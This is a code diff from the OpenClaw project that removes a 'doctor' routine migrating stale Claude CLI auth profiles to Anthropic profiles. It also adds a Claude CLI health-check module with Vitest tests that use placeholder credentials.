expect(next.agents?.defaults?.cliBackends?.["codex-cli"]).toEqual({ command: "codex" });
const raw = JSON.parse(fs.readFileSync(authPath, "utf8")) as {
profiles?: Record<string, unknown>;
order?: Record<string, string[]>;
lastGood?: Record<string, string>;
usageStats?: Record<string, unknown>;
};
expect(raw.profiles?.["anthropic:claude-cli"]).toBeUndefined();
expect(raw.profiles?.["anthropic:user@example.com"]).toMatchObject({
type: "oauth",
provider: "anthropic",
access: "token-a",
refresh: "token-r",
email: "user@example.com",
});
expect(raw.order?.anthropic).toEqual(["anthropic:user@example.com"]);
expect(raw.order?.["claude-cli"]).toBeUndefined();
expect(raw.lastGood?.anthropic).toBe("anthropic:user@example.com");
expect(raw.lastGood?.["claude-cli"]).toBeUndefined();
expect(raw.usageStats?.["anthropic:claude-cli"]).toBeUndefined();
expect(raw.usageStats?.["anthropic:user@example.com"]).toBeDefined();
});
it("removes stale Claude CLI Anthropic config when no stored credential bytes exist", async () => {
if (!tempAgentDir) {
throw new Error("Missing temp agent dir");
}
const authPath = path.join(tempAgentDir, "auth-profiles.json");
fs.writeFileSync(
authPath,
`${JSON.stringify(
{
version: 1,
profiles: {
"anthropic:default": {
type: "api_key",
provider: "anthropic",
key: "sk-ant-test",
},
},
order: {
anthropic: ["anthropic:claude-cli", "anthropic:default"],
},
},
null,
2,
)}\n`,
"utf8",
);
const next = await maybeRepairRemovedAnthropicClaudeCliState(
{
auth: {
profiles: {
"anthropic:claude-cli": {
provider: "claude-cli",
mode: "oauth",
},
"anthropic:default": {
provider: "anthropic",
mode: "api_key",
},
},
order: {
anthropic: ["anthropic:claude-cli", "anthropic:default"],
},
},
agents: {
defaults: {
model: "claude-cli/claude-sonnet-4-6",
models: {
"claude-cli/claude-sonnet-4-6": {},
},
cliBackends: {
"claude-cli": { command: "claude" },
},
},
},
} as OpenClawConfig,
makePrompter(true),
);
expect(next.auth?.profiles?.["anthropic:claude-cli"]).toBeUndefined();
expect(next.auth?.profiles?.["anthropic:default"]).toMatchObject({
provider: "anthropic",
mode: "api_key",
});
expect(next.auth?.order?.anthropic).toEqual(["anthropic:default"]);
expect(next.agents?.defaults?.model).toBe("anthropic/claude-sonnet-4-6");
expect(next.agents?.defaults?.models?.["claude-cli/claude-sonnet-4-6"]).toBeUndefined();
expect(next.agents?.defaults?.models?.["anthropic/claude-sonnet-4-6"]).toEqual({});
expect(next.agents?.defaults?.cliBackends?.["claude-cli"]).toBeUndefined();
const raw = JSON.parse(fs.readFileSync(authPath, "utf8")) as {
profiles?: Record<string, unknown>;
order?: Record<string, string[]>;
};
expect(raw.profiles?.["anthropic:claude-cli"]).toBeUndefined();
expect(raw.profiles?.["anthropic:default"]).toBeDefined();
expect(raw.order?.anthropic).toEqual(["anthropic:default"]);
});
});

View File

@@ -1,580 +0,0 @@
import { ensureAuthProfileStore } from "../agents/auth-profiles.js";
import { buildAuthProfileId } from "../agents/auth-profiles/identity.js";
import { updateAuthProfileStoreWithLock } from "../agents/auth-profiles/store.js";
import type { AuthProfileCredential, ProfileUsageStats } from "../agents/auth-profiles/types.js";
import type { OpenClawConfig } from "../config/config.js";
import type { AuthProfileConfig } from "../config/types.auth.js";
import { note } from "../terminal/note.js";
import type { DoctorPrompter } from "./doctor-prompter.js";
const ANTHROPIC_PROVIDER_ID = "anthropic";
const CLAUDE_CLI_PROVIDER_ID = "claude-cli";
const CLAUDE_CLI_PROFILE_ID = "anthropic:claude-cli";
type AgentDefaultsConfig = NonNullable<NonNullable<OpenClawConfig["agents"]>["defaults"]>;
function trimOptionalString(value: unknown): string | undefined {
if (typeof value !== "string") {
return undefined;
}
const trimmed = value.trim();
return trimmed.length > 0 ? trimmed : undefined;
}
function isClaudeCliProviderId(value: unknown): boolean {
return typeof value === "string" && value.trim().toLowerCase() === CLAUDE_CLI_PROVIDER_ID;
}
function credentialMode(credential: AuthProfileCredential): "api_key" | "oauth" | "token" {
return credential.type;
}
function resolveTargetProfileId(params: {
credential?: AuthProfileCredential;
profileConfig?: AuthProfileConfig;
}): string | undefined {
const email =
trimOptionalString(params.profileConfig?.email) ??
trimOptionalString("email" in (params.credential ?? {}) ? params.credential?.email : undefined);
return buildAuthProfileId({
providerId: ANTHROPIC_PROVIDER_ID,
profileName: email,
});
}
function buildConvertedCredential(
credential: AuthProfileCredential | undefined,
): AuthProfileCredential | undefined {
if (!credential || !isClaudeCliProviderId(credential.provider)) {
return undefined;
}
if (credential.type === "oauth") {
return {
...credential,
provider: ANTHROPIC_PROVIDER_ID,
};
}
if (credential.type === "token") {
return {
...credential,
provider: ANTHROPIC_PROVIDER_ID,
};
}
return undefined;
}
function buildConvertedProfileConfig(params: {
credential?: AuthProfileCredential;
profileConfig?: AuthProfileConfig;
}): AuthProfileConfig | undefined {
if (!params.credential) {
return undefined;
}
const mode = credentialMode(params.credential);
if (mode === "api_key") {
return undefined;
}
const email =
trimOptionalString(params.profileConfig?.email) ??
trimOptionalString("email" in params.credential ? params.credential.email : undefined);
const displayName =
trimOptionalString(params.profileConfig?.displayName) ??
trimOptionalString(
"displayName" in params.credential ? params.credential.displayName : undefined,
);
return {
provider: ANTHROPIC_PROVIDER_ID,
mode,
...(email ? { email } : {}),
...(displayName ? { displayName } : {}),
};
}
function toAnthropicModelRef(raw: string): string | null {
const trimmed = raw.trim();
if (!trimmed.toLowerCase().startsWith(`${CLAUDE_CLI_PROVIDER_ID}/`)) {
return null;
}
const modelId = trimmed.slice(`${CLAUDE_CLI_PROVIDER_ID}/`.length).trim();
if (!modelId.toLowerCase().startsWith("claude-")) {
return null;
}
return `${ANTHROPIC_PROVIDER_ID}/${modelId}`;
}
function rewriteModelSelection(model: unknown): { value: unknown; changed: boolean } {
if (typeof model === "string") {
const converted = toAnthropicModelRef(model);
return converted ? { value: converted, changed: true } : { value: model, changed: false };
}
if (!model || typeof model !== "object" || Array.isArray(model)) {
return { value: model, changed: false };
}
const current = model as Record<string, unknown>;
const next: Record<string, unknown> = { ...current };
let changed = false;
if (typeof current.primary === "string") {
const converted = toAnthropicModelRef(current.primary);
if (converted) {
next.primary = converted;
changed = true;
}
}
if (Array.isArray(current.fallbacks)) {
const currentFallbacks = current.fallbacks as unknown[];
const nextFallbacks = current.fallbacks.map((entry) =>
typeof entry === "string" ? (toAnthropicModelRef(entry) ?? entry) : entry,
);
if (nextFallbacks.some((entry, index) => entry !== currentFallbacks[index])) {
next.fallbacks = nextFallbacks;
changed = true;
}
}
return { value: changed ? next : model, changed };
}
function rewriteModelMap(models: Record<string, unknown> | undefined): {
value: Record<string, unknown> | undefined;
changed: boolean;
} {
if (!models) {
return { value: models, changed: false };
}
const next = { ...models };
let changed = false;
for (const [rawKey, value] of Object.entries(models)) {
const converted = toAnthropicModelRef(rawKey);
if (!converted) {
continue;
}
if (!(converted in next)) {
next[converted] = value;
}
delete next[rawKey];
changed = true;
}
return { value: changed ? next : models, changed };
}
function dedupeStrings(values: string[]): string[] {
return [...new Set(values.filter((value) => value.trim().length > 0))];
}
function rewriteOrderMap(
order: Record<string, string[]> | undefined,
replacementProfileId?: string,
): { value: Record<string, string[]> | undefined; changed: boolean } {
if (!order) {
return { value: order, changed: false };
}
const next: Record<string, string[]> = {};
let changed = false;
for (const [provider, profileIds] of Object.entries(order)) {
const nextProvider = isClaudeCliProviderId(provider) ? ANTHROPIC_PROVIDER_ID : provider;
if (nextProvider !== provider) {
changed = true;
}
const rewritten = dedupeStrings(
profileIds.flatMap((profileId) => {
if (profileId !== CLAUDE_CLI_PROFILE_ID) {
return [profileId];
}
changed = true;
return replacementProfileId ? [replacementProfileId] : [];
}),
);
if (rewritten.length === 0) {
if (profileIds.length > 0) {
changed = true;
}
continue;
}
if (
rewritten.length !== profileIds.length ||
rewritten.some((id, index) => id !== profileIds[index])
) {
changed = true;
}
next[nextProvider] = next[nextProvider]
? dedupeStrings([...next[nextProvider], ...rewritten])
: rewritten;
}
return {
value: Object.keys(next).length > 0 ? next : undefined,
changed,
};
}
function rewriteLastGoodMap(
lastGood: Record<string, string> | undefined,
replacementProfileId?: string,
): { value: Record<string, string> | undefined; changed: boolean } {
if (!lastGood) {
return { value: lastGood, changed: false };
}
const next: Record<string, string> = {};
let changed = false;
for (const [provider, profileId] of Object.entries(lastGood)) {
const nextProvider = isClaudeCliProviderId(provider) ? ANTHROPIC_PROVIDER_ID : provider;
const nextProfileId = profileId === CLAUDE_CLI_PROFILE_ID ? replacementProfileId : profileId;
if (nextProvider !== provider || nextProfileId !== profileId) {
changed = true;
}
if (!nextProfileId) {
continue;
}
next[nextProvider] ??= nextProfileId;
}
return {
value: Object.keys(next).length > 0 ? next : undefined,
changed,
};
}
function rewriteUsageStatsMap(
usageStats: Record<string, ProfileUsageStats> | undefined,
replacementProfileId?: string,
): { value: Record<string, ProfileUsageStats> | undefined; changed: boolean } {
if (!usageStats) {
return { value: usageStats, changed: false };
}
const next = { ...usageStats };
const stale = next[CLAUDE_CLI_PROFILE_ID];
if (!stale) {
return { value: usageStats, changed: false };
}
delete next[CLAUDE_CLI_PROFILE_ID];
if (replacementProfileId && !next[replacementProfileId]) {
next[replacementProfileId] = stale;
}
return {
value: Object.keys(next).length > 0 ? next : undefined,
changed: true,
};
}
function rewriteAuthProfilesConfig(
profiles: Record<string, AuthProfileConfig> | undefined,
replacementProfileId?: string,
replacementProfileConfig?: AuthProfileConfig,
): { value: Record<string, AuthProfileConfig> | undefined; changed: boolean } {
if (!profiles) {
return { value: profiles, changed: false };
}
const next: Record<string, AuthProfileConfig> = {};
let changed = false;
for (const [profileId, profile] of Object.entries(profiles)) {
if (profileId === CLAUDE_CLI_PROFILE_ID || isClaudeCliProviderId(profile.provider)) {
changed = true;
continue;
}
next[profileId] = profile;
}
if (replacementProfileId && replacementProfileConfig && !next[replacementProfileId]) {
next[replacementProfileId] = replacementProfileConfig;
changed = true;
}
return {
value: Object.keys(next).length > 0 ? next : undefined,
changed,
};
}
function rewriteAnthropicClaudeCliConfig(params: {
cfg: OpenClawConfig;
replacementProfileId?: string;
replacementProfileConfig?: AuthProfileConfig;
}): { next: OpenClawConfig; changes: string[] } {
const changes: string[] = [];
const rewrittenProfiles = rewriteAuthProfilesConfig(
params.cfg.auth?.profiles,
params.replacementProfileId,
params.replacementProfileConfig,
);
const rewrittenOrder = rewriteOrderMap(params.cfg.auth?.order, params.replacementProfileId);
const defaults = params.cfg.agents?.defaults;
const rewrittenModel = rewriteModelSelection(defaults?.model);
const rewrittenModels = rewriteModelMap(defaults?.models);
let nextCliBackends = defaults?.cliBackends;
let cliBackendsChanged = false;
if (nextCliBackends?.[CLAUDE_CLI_PROVIDER_ID]) {
const clone = { ...nextCliBackends };
delete clone[CLAUDE_CLI_PROVIDER_ID];
nextCliBackends = Object.keys(clone).length > 0 ? clone : undefined;
cliBackendsChanged = true;
}
if (rewrittenProfiles.changed) {
changes.push("removed stale Anthropic Claude CLI auth-profile config");
}
if (rewrittenOrder.changed) {
changes.push("rewrote auth-order references away from Claude CLI");
}
if (rewrittenModel.changed || rewrittenModels.changed) {
changes.push("rewrote claude-cli model refs back to anthropic/*");
}
if (cliBackendsChanged) {
changes.push("removed agents.defaults.cliBackends.claude-cli");
}
if (changes.length === 0) {
return { next: params.cfg, changes };
}
const nextProfiles = rewrittenProfiles.value;
const nextOrder = rewrittenOrder.value;
const nextModel = rewrittenModel.value as AgentDefaultsConfig["model"];
const nextModels = rewrittenModels.value as AgentDefaultsConfig["models"];
const nextCliBackendsTyped: AgentDefaultsConfig["cliBackends"] = nextCliBackends;
const nextAuth =
nextProfiles || nextOrder || params.cfg.auth?.cooldowns
? {
...params.cfg.auth,
...(nextProfiles ? { profiles: nextProfiles } : {}),
...(nextProfiles === undefined ? { profiles: undefined } : {}),
...(nextOrder ? { order: nextOrder } : {}),
...(nextOrder === undefined ? { order: undefined } : {}),
}
: undefined;
const nextDefaults =
rewrittenModel.changed || rewrittenModels.changed || cliBackendsChanged
? {
...defaults,
...(rewrittenModel.changed ? { model: nextModel } : {}),
...(rewrittenModels.changed ? { models: nextModels } : {}),
...(cliBackendsChanged ? { cliBackends: nextCliBackendsTyped } : {}),
}
: defaults;
const nextAgents =
nextDefaults && nextDefaults !== defaults
? {
...params.cfg.agents,
defaults: nextDefaults,
}
: params.cfg.agents;
return {
next: {
...params.cfg,
...(nextAuth ? { auth: nextAuth } : { auth: undefined }),
...(nextAgents ? { agents: nextAgents } : { agents: params.cfg.agents }),
},
changes,
};
}
type StoreRepairResult = {
changed: boolean;
converted: boolean;
keptExistingTarget: boolean;
replacementProfileId?: string;
};
async function maybeRepairAnthropicClaudeCliStore(params: {
replacementProfileId?: string;
replacementCredential?: AuthProfileCredential;
}): Promise<StoreRepairResult> {
let changed = false;
let converted = false;
let keptExistingTarget = false;
await updateAuthProfileStoreWithLock({
updater: (nextStore) => {
let mutated = false;
const staleCredential = nextStore.profiles[CLAUDE_CLI_PROFILE_ID];
if (staleCredential && isClaudeCliProviderId(staleCredential.provider)) {
if (params.replacementProfileId && params.replacementCredential) {
if (nextStore.profiles[params.replacementProfileId]) {
keptExistingTarget = true;
} else {
nextStore.profiles[params.replacementProfileId] = params.replacementCredential;
converted = true;
mutated = true;
}
}
delete nextStore.profiles[CLAUDE_CLI_PROFILE_ID];
mutated = true;
}
const rewrittenOrder = rewriteOrderMap(nextStore.order, params.replacementProfileId);
if (rewrittenOrder.changed) {
nextStore.order = rewrittenOrder.value;
mutated = true;
}
const rewrittenLastGood = rewriteLastGoodMap(nextStore.lastGood, params.replacementProfileId);
if (rewrittenLastGood.changed) {
nextStore.lastGood = rewrittenLastGood.value;
mutated = true;
}
const rewrittenUsageStats = rewriteUsageStatsMap(
nextStore.usageStats,
params.replacementProfileId,
);
if (rewrittenUsageStats.changed) {
nextStore.usageStats = rewrittenUsageStats.value;
mutated = true;
}
if (mutated) {
changed = true;
}
return mutated;
},
});
return {
changed,
converted,
keptExistingTarget,
replacementProfileId: params.replacementProfileId,
};
}
function hasStaleAnthropicClaudeCliConfig(cfg: OpenClawConfig): boolean {
if (cfg.auth?.profiles) {
for (const [profileId, profile] of Object.entries(cfg.auth.profiles)) {
if (profileId === CLAUDE_CLI_PROFILE_ID || isClaudeCliProviderId(profile.provider)) {
return true;
}
}
}
if (
Object.values(cfg.auth?.order ?? {}).some((profileIds) =>
profileIds.includes(CLAUDE_CLI_PROFILE_ID),
)
) {
return true;
}
const defaults = cfg.agents?.defaults;
if (
(typeof defaults?.model === "string" &&
defaults.model.startsWith(`${CLAUDE_CLI_PROVIDER_ID}/`)) ||
(defaults?.model &&
typeof defaults.model === "object" &&
!Array.isArray(defaults.model) &&
((typeof defaults.model.primary === "string" &&
defaults.model.primary.startsWith(`${CLAUDE_CLI_PROVIDER_ID}/`)) ||
defaults.model.fallbacks?.some(
(entry) => typeof entry === "string" && entry.startsWith(`${CLAUDE_CLI_PROVIDER_ID}/`),
)))
) {
return true;
}
if (
Object.keys(defaults?.models ?? {}).some((modelId) =>
modelId.startsWith(`${CLAUDE_CLI_PROVIDER_ID}/`),
)
) {
return true;
}
return Boolean(defaults?.cliBackends?.[CLAUDE_CLI_PROVIDER_ID]);
}
export async function maybeRepairRemovedAnthropicClaudeCliState(
cfg: OpenClawConfig,
prompter: DoctorPrompter,
): Promise<OpenClawConfig> {
const store = ensureAuthProfileStore(undefined, { allowKeychainPrompt: false });
const staleCredential = store.profiles[CLAUDE_CLI_PROFILE_ID];
const staleProfileConfig =
cfg.auth?.profiles?.[CLAUDE_CLI_PROFILE_ID] ??
Object.values(cfg.auth?.profiles ?? {}).find((profile) =>
isClaudeCliProviderId(profile.provider),
);
const replacementCredential = buildConvertedCredential(staleCredential);
const replacementProfileId = replacementCredential
? resolveTargetProfileId({
credential: replacementCredential,
profileConfig: staleProfileConfig,
})
: undefined;
const replacementProfileConfig = buildConvertedProfileConfig({
credential: replacementCredential,
profileConfig: staleProfileConfig,
});
const staleConfigDetected = hasStaleAnthropicClaudeCliConfig(cfg);
const staleStoreDetected = Boolean(replacementCredential);
if (!staleConfigDetected && !staleStoreDetected) {
return cfg;
}
const summaryLines = [
"Stale Anthropic Claude CLI state detected.",
staleStoreDetected
? `- stored credential bytes found under ${CLAUDE_CLI_PROFILE_ID}`
: `- no stored credential bytes found for ${CLAUDE_CLI_PROFILE_ID}`,
"- Claude CLI Anthropic auth is no longer a supported OpenClaw path",
staleStoreDetected && replacementProfileId
? `- doctor can convert the stored credential to ${replacementProfileId}`
: "- doctor can only remove stale config; use an Anthropic API key or setup-token afterward",
];
note(summaryLines.join("\n"), "Auth profiles");
const shouldRepair = await prompter.confirmAutoFix({
message: staleStoreDetected
? "Convert stale Anthropic Claude CLI auth back to Anthropic profiles and remove Claude CLI config now?"
: "Remove stale Anthropic Claude CLI config now? No stored credential bytes were found to convert.",
initialValue: true,
});
if (!shouldRepair) {
return cfg;
}
const storeRepair = await maybeRepairAnthropicClaudeCliStore({
replacementProfileId,
replacementCredential,
});
const rewrittenConfig = rewriteAnthropicClaudeCliConfig({
cfg,
replacementProfileId:
storeRepair.converted || storeRepair.keptExistingTarget ? replacementProfileId : undefined,
replacementProfileConfig:
storeRepair.converted || storeRepair.keptExistingTarget
? replacementProfileConfig
: undefined,
});
const changes: string[] = [];
if (storeRepair.converted && replacementProfileId) {
changes.push(`converted ${CLAUDE_CLI_PROFILE_ID} -> ${replacementProfileId}`);
} else if (storeRepair.keptExistingTarget && replacementProfileId) {
changes.push(`removed ${CLAUDE_CLI_PROFILE_ID} and kept existing ${replacementProfileId}`);
} else if (staleStoreDetected) {
changes.push(`removed stale stored profile ${CLAUDE_CLI_PROFILE_ID}`);
}
changes.push(...rewrittenConfig.changes);
if (changes.length > 0) {
note(changes.map((line) => `- ${line}`).join("\n"), "Doctor changes");
}
if (!storeRepair.converted) {
note(
[
"Anthropic Claude CLI state was removed, but no subscription credential was reconstructed.",
"Next step: openclaw models auth login --provider anthropic --method api-key --set-default",
"Fallback: openclaw models auth setup-token --provider anthropic",
].join("\n"),
"Auth profiles",
);
}
return rewrittenConfig.next;
}

View File

@@ -70,7 +70,7 @@ describe("maybeRemoveDeprecatedCliAuthProfiles", () => {
{
version: 1,
profiles: {
"anthropic:removed-cli": {
"anthropic:claude-cli": {
type: "oauth",
provider: "anthropic",
access: "token-a",
@@ -104,7 +104,7 @@ describe("maybeRemoveDeprecatedCliAuthProfiles", () => {
id: "anthropic",
label: "Anthropic",
auth: [],
deprecatedProfileIds: ["anthropic:removed-cli"],
deprecatedProfileIds: ["anthropic:claude-cli"],
},
{
id: "openai-codex",
@@ -117,12 +117,12 @@ describe("maybeRemoveDeprecatedCliAuthProfiles", () => {
const cfg = {
auth: {
profiles: {
"anthropic:removed-cli": { provider: "anthropic", mode: "oauth" },
"anthropic:claude-cli": { provider: "anthropic", mode: "oauth" },
"openai-codex:codex-cli": { provider: "openai-codex", mode: "oauth" },
"openai-codex:default": { provider: "openai-codex", mode: "oauth" },
},
order: {
anthropic: ["anthropic:removed-cli"],
anthropic: ["anthropic:claude-cli"],
"openai-codex": ["openai-codex:codex-cli", "openai-codex:default"],
},
},
@@ -136,11 +136,11 @@ describe("maybeRemoveDeprecatedCliAuthProfiles", () => {
const raw = JSON.parse(fs.readFileSync(authPath, "utf8")) as {
profiles?: Record<string, unknown>;
};
expect(raw.profiles?.["anthropic:removed-cli"]).toBeUndefined();
expect(raw.profiles?.["anthropic:claude-cli"]).toBeUndefined();
expect(raw.profiles?.["openai-codex:codex-cli"]).toBeUndefined();
expect(raw.profiles?.["openai-codex:default"]).toBeDefined();
expect(next.auth?.profiles?.["anthropic:removed-cli"]).toBeUndefined();
expect(next.auth?.profiles?.["anthropic:claude-cli"]).toBeUndefined();
expect(next.auth?.profiles?.["openai-codex:codex-cli"]).toBeUndefined();
expect(next.auth?.profiles?.["openai-codex:default"]).toBeDefined();
expect(next.auth?.order?.anthropic).toBeUndefined();

View File

@@ -0,0 +1,178 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, describe, expect, it, vi } from "vitest";
import { CLAUDE_CLI_PROFILE_ID } from "../agents/auth-profiles/constants.js";
import type { AuthProfileStore } from "../agents/auth-profiles/types.js";
import {
noteClaudeCliHealth,
resolveClaudeCliProjectDirForWorkspace,
} from "./doctor-claude-cli.js";
function createStore(profiles: AuthProfileStore["profiles"] = {}): AuthProfileStore {
return {
version: 1,
profiles,
};
}
async function withTempHome<T>(
run: (params: { homeDir: string; workspaceDir: string }) => Promise<T> | T,
): Promise<T> {
const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-claude-cli-"));
const homeDir = path.join(root, "home");
const workspaceDir = path.join(root, "workspace");
fs.mkdirSync(homeDir, { recursive: true });
fs.mkdirSync(workspaceDir, { recursive: true });
try {
return await run({ homeDir, workspaceDir });
} finally {
fs.rmSync(root, { recursive: true, force: true });
}
}
describe("resolveClaudeCliProjectDirForWorkspace", () => {
it("matches Claude's sanitized workspace project dir shape", () => {
expect(
resolveClaudeCliProjectDirForWorkspace({
workspaceDir: "/Users/vincentkoc/GIT/_Perso/openclaw/.openclaw/workspace",
homeDir: "/Users/vincentkoc",
}),
).toBe(
"/Users/vincentkoc/.claude/projects/-Users-vincentkoc-GIT--Perso-openclaw--openclaw-workspace",
);
});
});
describe("noteClaudeCliHealth", () => {
afterEach(() => {
vi.restoreAllMocks();
});
it("stays quiet when Claude CLI is not configured or detected", () => {
const noteFn = vi.fn();
noteClaudeCliHealth(
{},
{
noteFn,
store: createStore(),
readClaudeCliCredentials: () => null,
},
);
expect(noteFn).not.toHaveBeenCalled();
});
it("reports a healthy claude-cli setup with the resolved Claude project dir", async () => {
await withTempHome(({ homeDir, workspaceDir }) => {
const projectDir = resolveClaudeCliProjectDirForWorkspace({ workspaceDir, homeDir });
fs.mkdirSync(projectDir, { recursive: true });
const noteFn = vi.fn();
noteClaudeCliHealth(
{
agents: {
defaults: {
model: { primary: "claude-cli/claude-sonnet-4-6" },
},
},
},
{
homeDir,
workspaceDir,
noteFn,
store: createStore({
[CLAUDE_CLI_PROFILE_ID]: {
type: "oauth",
provider: "claude-cli",
access: "token-a",
refresh: "token-r",
expires: Date.now() + 60_000,
},
}),
readClaudeCliCredentials: () => ({
type: "oauth",
expires: Date.now() + 60_000,
}),
resolveCommandPath: () => "/opt/homebrew/bin/claude",
},
);
expect(noteFn).toHaveBeenCalledTimes(1);
expect(noteFn.mock.calls[0]?.[1]).toBe("Claude CLI");
const body = String(noteFn.mock.calls[0]?.[0]);
expect(body).toContain("Binary: /opt/homebrew/bin/claude.");
expect(body).toContain("Headless Claude auth: OK (oauth).");
expect(body).toContain(
`OpenClaw auth profile: ${CLAUDE_CLI_PROFILE_ID} (provider claude-cli).`,
);
expect(body).toContain("Workspace:");
expect(body).toContain("(writable).");
expect(body).toContain("Claude project dir:");
expect(body).toContain("(present).");
});
});
it("explains the exact bad wiring when the claude-cli auth profile is missing", async () => {
await withTempHome(({ homeDir, workspaceDir }) => {
const noteFn = vi.fn();
noteClaudeCliHealth(
{
agents: {
defaults: {
model: { primary: "claude-cli/claude-sonnet-4-6" },
},
},
},
{
homeDir,
workspaceDir,
noteFn,
store: createStore(),
readClaudeCliCredentials: () => ({
type: "oauth",
expires: Date.now() + 60_000,
}),
resolveCommandPath: () => "/opt/homebrew/bin/claude",
},
);
const body = String(noteFn.mock.calls[0]?.[0]);
expect(body).toContain("Headless Claude auth: OK (oauth).");
expect(body).toContain(`OpenClaw auth profile: missing (${CLAUDE_CLI_PROFILE_ID})`);
expect(body).toContain(
"openclaw models auth login --provider anthropic --method cli --set-default",
);
expect(body).toContain(
"not created yet; it appears after the first Claude CLI turn in this workspace",
);
});
});
it("warns when Claude auth is not readable headlessly", async () => {
await withTempHome(({ homeDir, workspaceDir }) => {
const noteFn = vi.fn();
noteClaudeCliHealth(
{
agents: {
defaults: {
model: { primary: "claude-cli/claude-sonnet-4-6" },
},
},
},
{
homeDir,
workspaceDir,
noteFn,
store: createStore(),
readClaudeCliCredentials: () => null,
resolveCommandPath: () => undefined,
},
);
const body = String(noteFn.mock.calls[0]?.[0]);
expect(body).toContain('Binary: command "claude" was not found on PATH.');
expect(body).toContain("Headless Claude auth: unavailable without interactive prompting.");
expect(body).toContain("claude auth login");
});
});
});

View File

@@ -0,0 +1,301 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js";
import { CLAUDE_CLI_PROFILE_ID } from "../agents/auth-profiles/constants.js";
import { resolveAuthStorePathForDisplay } from "../agents/auth-profiles/paths.js";
import { ensureAuthProfileStore } from "../agents/auth-profiles/store.js";
import type {
AuthProfileStore,
OAuthCredential,
TokenCredential,
} from "../agents/auth-profiles/types.js";
import { readClaudeCliCredentialsCached } from "../agents/cli-credentials.js";
import { formatCliCommand } from "../cli/command-format.js";
import type { OpenClawConfig } from "../config/config.js";
import { resolveExecutablePath } from "../infra/executable-path.js";
import { note } from "../terminal/note.js";
import { shortenHomePath } from "../utils.js";
const CLAUDE_CLI_PROVIDER = "claude-cli";
const CLAUDE_PROJECTS_DIRNAME = path.join(".claude", "projects");
const MAX_SANITIZED_PROJECT_LENGTH = 200;
type ClaudeCliReadableCredential =
| Pick<OAuthCredential, "type" | "expires">
| Pick<TokenCredential, "type" | "expires">;
type ClaudeCliDirHealth = "present" | "missing" | "not_directory" | "unreadable" | "readonly";
function resolveConfiguredPrimaryModelRef(
value: string | { primary?: string; fallbacks?: string[] } | undefined,
): string | undefined {
if (typeof value === "string") {
const trimmed = value.trim();
return trimmed || undefined;
}
if (!value || typeof value !== "object" || Array.isArray(value)) {
return undefined;
}
const primary = value.primary;
if (typeof primary !== "string") {
return undefined;
}
const trimmed = primary.trim();
return trimmed || undefined;
}
function usesClaudeCliModelSelection(cfg: OpenClawConfig): boolean {
const primary = resolveConfiguredPrimaryModelRef(
cfg.agents?.defaults?.model as string | { primary?: string; fallbacks?: string[] } | undefined,
);
if (primary?.trim().toLowerCase().startsWith(`${CLAUDE_CLI_PROVIDER}/`)) {
return true;
}
return Object.keys(cfg.agents?.defaults?.models ?? {}).some((key) =>
key.trim().toLowerCase().startsWith(`${CLAUDE_CLI_PROVIDER}/`),
);
}
function hasClaudeCliConfigSignals(cfg: OpenClawConfig): boolean {
if (usesClaudeCliModelSelection(cfg)) {
return true;
}
const backendConfig = cfg.agents?.defaults?.cliBackends ?? {};
if (Object.keys(backendConfig).some((key) => key.trim().toLowerCase() === CLAUDE_CLI_PROVIDER)) {
return true;
}
return Object.values(cfg.auth?.profiles ?? {}).some(
(profile) => profile?.provider === CLAUDE_CLI_PROVIDER,
);
}
function hasClaudeCliStoreSignals(store: AuthProfileStore): boolean {
if (store.profiles[CLAUDE_CLI_PROFILE_ID]) {
return true;
}
return Object.values(store.profiles).some((profile) => profile?.provider === CLAUDE_CLI_PROVIDER);
}
function resolveClaudeCliCommand(cfg: OpenClawConfig): string {
const configured = cfg.agents?.defaults?.cliBackends ?? {};
for (const [key, entry] of Object.entries(configured)) {
if (key.trim().toLowerCase() !== CLAUDE_CLI_PROVIDER) {
continue;
}
const command = entry?.command?.trim();
if (command) {
return command;
}
}
return "claude";
}
function simpleHash36(input: string): string {
let hash = 0;
for (let index = 0; index < input.length; index += 1) {
hash = (hash * 31 + input.charCodeAt(index)) >>> 0;
}
return hash.toString(36);
}
function sanitizeClaudeCliProjectKey(workspaceDir: string): string {
const sanitized = workspaceDir.replace(/[^a-zA-Z0-9]/g, "-");
if (sanitized.length <= MAX_SANITIZED_PROJECT_LENGTH) {
return sanitized;
}
return `${sanitized.slice(0, MAX_SANITIZED_PROJECT_LENGTH)}-${simpleHash36(workspaceDir)}`;
}
function canonicalizeWorkspaceDir(workspaceDir: string): string {
const resolved = path.resolve(workspaceDir).normalize("NFC");
try {
return fs.realpathSync.native(resolved).normalize("NFC");
} catch {
return resolved;
}
}
export function resolveClaudeCliProjectDirForWorkspace(params: {
workspaceDir: string;
homeDir?: string;
}): string {
const homeDir = params.homeDir?.trim() || process.env.HOME || os.homedir();
const canonicalWorkspaceDir = canonicalizeWorkspaceDir(params.workspaceDir);
return path.join(
homeDir,
CLAUDE_PROJECTS_DIRNAME,
sanitizeClaudeCliProjectKey(canonicalWorkspaceDir),
);
}
function probeDirectoryHealth(dirPath: string): ClaudeCliDirHealth {
try {
const stat = fs.statSync(dirPath);
if (!stat.isDirectory()) {
return "not_directory";
}
} catch {
return "missing";
}
try {
fs.accessSync(dirPath, fs.constants.R_OK);
} catch {
return "unreadable";
}
try {
fs.accessSync(dirPath, fs.constants.W_OK);
} catch {
return "readonly";
}
return "present";
}
function formatCredentialLabel(credential: ClaudeCliReadableCredential): string {
if (credential.type === "oauth" || credential.type === "token") {
return credential.type;
}
return "unknown";
}
function formatWorkspaceHealthLine(workspaceDir: string, health: ClaudeCliDirHealth): string {
const display = shortenHomePath(workspaceDir);
if (health === "present") {
return `- Workspace: ${display} (writable).`;
}
if (health === "missing") {
return `- Workspace: ${display} (missing; OpenClaw will create it on first run).`;
}
if (health === "not_directory") {
return `- Workspace: ${display} exists but is not a directory.`;
}
if (health === "unreadable") {
return `- Workspace: ${display} is not readable by this user.`;
}
return `- Workspace: ${display} is not writable by this user.`;
}
function formatProjectDirHealthLine(projectDir: string, health: ClaudeCliDirHealth): string {
const display = shortenHomePath(projectDir);
if (health === "present") {
return `- Claude project dir: ${display} (present).`;
}
if (health === "missing") {
return `- Claude project dir: ${display} (not created yet; it appears after the first Claude CLI turn in this workspace).`;
}
if (health === "not_directory") {
return `- Claude project dir: ${display} exists but is not a directory.`;
}
if (health === "unreadable") {
return `- Claude project dir: ${display} is not readable by this user.`;
